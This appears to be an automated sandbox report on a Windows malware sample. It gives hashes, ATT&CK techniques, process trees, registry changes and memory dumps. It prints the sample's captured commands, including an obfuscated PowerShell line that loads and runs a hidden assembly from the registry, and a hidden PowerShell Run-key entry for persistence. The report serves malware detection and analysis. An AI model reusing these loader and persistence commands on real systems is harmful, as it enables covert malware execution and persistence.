fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16

Analysis

max time kernel
300s
max time network
291s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
17-05-2024 00:49

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General

Target

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Size

4.5MB
MD5

96422a2b982c99614d31dff7f2b64680
SHA1

e8f25aa518b0ef54bcdf770479ef28dd99dd8efc
SHA256

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16
SHA512

882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9
SSDEEP

24576:Epu+lTdASQBeSbtpO2+RZ8XK5OG/wS4gIVnxff9t+oQ9GXiqgbaaz2ub2UbRdL/h:EX

Score

10^/10

evasion persistence

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 960 created 428	960	powershell.EXE	5

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Wakgksusfez.vbs	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe

Executes dropped EXE 2 IoCs

pid	Process
1356	$77629dc3
2836	$77f02397

Loads dropped DLL 2 IoCs

pid	Process
2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\$77f02397'\""	$77f02397

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2408 set thread context of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 960 set thread context of 1600	960	powershell.EXE	32
PID 2408 set thread context of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0356522f4a7da01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
960	powershell.EXE
960	powershell.EXE
1600	dllhost.exe
1600	dllhost.exe
1600	dllhost.exe
1600	dllhost.exe
2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
1600	dllhost.exe
1600	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Token: SeDebugPrivilege	960	powershell.EXE
Token: SeDebugPrivilege	960	powershell.EXE
Token: SeDebugPrivilege	1600	dllhost.exe
Token: SeDebugPrivilege	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2408 wrote to memory of 1356	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	28
PID 2804 wrote to memory of 960	2804	taskeng.exe	30
PID 2804 wrote to memory of 960	2804	taskeng.exe	30
PID 2804 wrote to memory of 960	2804	taskeng.exe	30
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 960 wrote to memory of 1600	960	powershell.EXE	32
PID 1600 wrote to memory of 428	1600	dllhost.exe	5
PID 1600 wrote to memory of 472	1600	dllhost.exe	6
PID 1600 wrote to memory of 488	1600	dllhost.exe	7
PID 1600 wrote to memory of 496	1600	dllhost.exe	8
PID 1600 wrote to memory of 600	1600	dllhost.exe	9
PID 1600 wrote to memory of 676	1600	dllhost.exe	10
PID 1600 wrote to memory of 752	1600	dllhost.exe	11
PID 1600 wrote to memory of 824	1600	dllhost.exe	12
PID 1600 wrote to memory of 872	1600	dllhost.exe	13
PID 1600 wrote to memory of 980	1600	dllhost.exe	15
PID 1600 wrote to memory of 296	1600	dllhost.exe	16
PID 1600 wrote to memory of 324	1600	dllhost.exe	17
PID 1600 wrote to memory of 1072	1600	dllhost.exe	18
PID 1600 wrote to memory of 1116	1600	dllhost.exe	19
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 2408 wrote to memory of 2836	2408	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	33
PID 1600 wrote to memory of 1168	1600	dllhost.exe	20
PID 1600 wrote to memory of 1196	1600	dllhost.exe	21
PID 1600 wrote to memory of 2500	1600	dllhost.exe	24
PID 1600 wrote to memory of 2332	1600	dllhost.exe	25
PID 1600 wrote to memory of 2804	1600	dllhost.exe	29
PID 1600 wrote to memory of 960	1600	dllhost.exe	30
PID 1600 wrote to memory of 2968	1600	dllhost.exe	31
PID 1600 wrote to memory of 2836	1600	dllhost.exe	33

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d28fd988-b1ea-4d91-939b-3cd34691320e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1600

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:472
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:600
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:752
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:824
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1168
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  PID:872
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {39C17679-4AD7-445B-802B-E9C63C55F9F8} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue('$7'+'7'+''+[Char](115)+'ta'+'g'+'er')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:960
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:980
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:296
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:324
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1072
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1116
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2500
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2332

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:488

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:496

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1196
- C:\Users\Admin\AppData\Local\Temp\fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
  "C:\Users\Admin\AppData\Local\Temp\fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Users\Admin\AppData\Local\Temp\$77629dc3
    "C:\Users\Admin\AppData\Local\Temp\$77629dc3"
    3⤵
    - Executes dropped EXE
    PID:1356
- - C:\Users\Admin\AppData\Local\Temp\$77f02397
    "C:\Users\Admin\AppData\Local\Temp\$77f02397"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:2836

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20309609743428124791508644070370437651499177397804090664-13065932211323884733"
1⤵
PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\$77629dc3

Filesize
4.5MB

MD5
96422a2b982c99614d31dff7f2b64680

SHA1
e8f25aa518b0ef54bcdf770479ef28dd99dd8efc

SHA256
fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16

SHA512
882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9

Download Submit
memory/960-5112-0x000007FEF5F2E000-0x000007FEF5F2F000-memory.dmp

Filesize
4KB

Download
memory/960-5111-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4929-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4928-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4916-0x0000000001380000-0x00000000013AA000-memory.dmp

Filesize
168KB

Download
memory/960-4915-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4914-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4913-0x0000000001180000-0x0000000001188000-memory.dmp

Filesize
32KB

Download
memory/960-4912-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4910-0x000000001A200000-0x000000001A4E2000-memory.dmp

Filesize
2.9MB

Download
memory/960-4911-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/960-4909-0x000007FEF5F2E000-0x000007FEF5F2F000-memory.dmp

Filesize
4KB

Download
memory/1356-4908-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/2408-62-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-12-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-58-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-54-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-52-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-50-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-48-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-46-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-44-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-42-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-40-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-38-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-34-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-32-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-28-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-26-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-22-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-20-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-18-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-16-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-14-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-60-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-4883-0x0000000074A90000-0x000000007517E000-memory.dmp

Filesize
6.9MB

Download
memory/2408-4885-0x00000000005C0000-0x000000000060C000-memory.dmp

Filesize
304KB

Download
memory/2408-4884-0x0000000004A30000-0x0000000004AAE000-memory.dmp

Filesize
504KB

Download
memory/2408-4886-0x0000000074A90000-0x000000007517E000-memory.dmp

Filesize
6.9MB

Download
memory/2408-4887-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

Filesize
4KB

Download
memory/2408-4888-0x0000000074A90000-0x000000007517E000-memory.dmp

Filesize
6.9MB

Download
memory/2408-0-0x0000000074A9E000-0x0000000074A9F000-memory.dmp

Filesize
4KB

Download
memory/2408-66-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-64-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-56-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-36-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-30-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-24-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-6-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-8-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-10-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-4-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-3-0x0000000005F40000-0x000000000617A000-memory.dmp

Filesize
2.2MB

Download
memory/2408-5037-0x0000000000C80000-0x0000000000CD4000-memory.dmp

Filesize
336KB

Download
memory/2408-5074-0x0000000074A90000-0x000000007517E000-memory.dmp

Filesize
6.9MB

Download
memory/2408-2-0x0000000005F40000-0x0000000006180000-memory.dmp

Filesize
2.2MB

Download
memory/2408-1-0x00000000010B0000-0x0000000001536000-memory.dmp

Filesize
4.5MB

Download